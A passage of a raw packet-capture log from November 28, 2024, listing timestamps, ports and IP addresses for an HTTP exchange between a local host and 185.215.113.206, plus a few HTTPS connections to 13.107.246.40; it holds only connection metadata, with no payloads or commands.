Nov 28, 2024 06:48:33.096378088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.096540928 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.097007036 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.097053051 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.097172022 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.097266912 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.097824097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.097879887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.097881079 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.097958088 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.098707914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.098798037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.098908901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.098948956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.099560022 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.099572897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.099602938 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.099622965 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.100440979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.100486994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.100498915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.100545883 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.101238966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.101309061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.101579905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.101629972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.102123976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.102170944 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.102233887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.102356911 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.102994919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.103007078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.103049994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.103770018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.103825092 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.103871107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.103918076 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.104644060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.104701042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.104847908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.104886055 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.105449915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.105498075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.105581999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.105665922 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.106369019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.106417894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.106425047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.106661081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.107229948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.107263088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.107290983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.107321024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.108028889 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.108122110 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.108171940 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.108211994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.108936071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.108948946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.109174967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.109750032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.109819889 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.109879017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.109921932 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.110549927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.110614061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.110805988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.110862970 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.111490965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.111614943 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.111654043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.111685991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.112250090 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.112308979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.112663984 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.112792015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.113177061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.113189936 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.113279104 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.113279104 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.113936901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.113977909 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.114159107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.114197969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.114856005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.114870071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.114908934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.115660906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.115715981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.115923882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.115979910 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.116519928 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.116569042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.116635084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.116723061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.117305040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.117358923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.169040918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.169147968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.169240952 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.169358969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.169558048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.169570923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.169594049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.169629097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.170420885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.170476913 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.170572042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.170774937 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.170922995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.170972109 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.171494961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.171530008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.171580076 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.172243118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.172298908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.172331095 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.172380924 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.173118114 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.173137903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.173165083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.173197031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.173963070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.173974991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.174047947 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.174047947 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.174760103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.174814939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.174834967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.174858093 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.175615072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.175627947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.175663948 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.175684929 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.176414967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.176465034 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.176533937 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.177247047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.177311897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.177356005 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.178100109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.178112984 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.178159952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.178899050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.178952932 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.179286957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.179351091 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.179711103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.179954052 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.180290937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.180352926 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.180526972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.180573940 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.180710077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.180757046 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.181400061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.181411982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.181477070 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.182234049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.182287931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.182291985 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.182336092 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.183022022 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.183137894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.183187962 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.183861971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.183918953 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.184268951 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.184322119 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.184737921 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.184792042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.184864044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.184967041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.216492891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.216547966 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.216882944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.216942072 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.216965914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.216979980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.217010021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.217030048 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.217765093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.217824936 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.218007088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.218061924 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.218556881 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.218619108 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.230752945 CET	49819	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:33.230796099 CET	443	49819	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:33.230873108 CET	49819	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:33.231121063 CET	49820	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:33.231154919 CET	443	49820	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:33.231218100 CET	49820	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:33.231460094 CET	49821	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:33.231489897 CET	443	49821	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:33.231695890 CET	49821	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:33.231774092 CET	49822	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:33.231782913 CET	443	49822	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:33.231828928 CET	49822	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:33.231997013 CET	49819	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:33.232022047 CET	443	49819	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:33.232186079 CET	49820	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:33.232197046 CET	443	49820	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:33.232300043 CET	49821	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:33.232314110 CET	443	49821	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:33.232481956 CET	49822	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:33.232491016 CET	443	49822	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:33.293397903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.293437004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.293478012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.293526888 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.293759108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.293803930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.293977976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.294039965 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.294675112 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.294734955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.294959068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.295008898 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.295429945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.295600891 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.295675993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.295716047 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.296286106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.296327114 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.296789885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.296850920 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.297116041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.297347069 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.297373056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.297408104 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.297930002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.297982931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.298177004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.298228979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.298768044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.298846006 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.298984051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.299034119 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.299617052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.299629927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.299674988 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.300422907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.300605059 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.300826073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.300874949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.301280975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.301331997 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.301548004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.301608086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.302035093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.302150011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.302166939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.302201033 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.302891016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.302943945 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.303226948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.303275108 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.303771973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.303819895 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.303857088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.304007053 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.304589987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.304637909 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.304888964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.304943085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.305358887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.305413961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.305913925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.305993080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.306196928 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.306236982 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.306782007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.306842089 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.307030916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.307076931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.307172060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.307378054 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.307869911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.307895899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.307923079 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.307955027 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.308689117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.308734894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.309000969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.309087992 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.309525967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.309571981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.309663057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.309871912 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.310376883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.310451031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.310923100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.311009884 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.311187029 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.311198950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.311234951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.434700012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.434719086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.434779882 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.434833050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.434851885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.434896946 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.558429956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.558459044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.558470011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.558480978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.558517933 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.558549881 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.682172060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.682193041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.682204008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.682218075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.682229996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.682243109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.682243109 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.682298899 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.682373047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.682387114 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.682396889 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.682419062 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.682439089 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.682441950 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.682477951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.682519913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.682533979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.682543993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.682555914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.682560921 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.682576895 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.682598114 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.682610035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.682621002 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.682651043 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.683455944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.683468103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.683514118 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.683516026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.683530092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.683556080 CET	49750	80	192.168.2.5	185.215.113.206
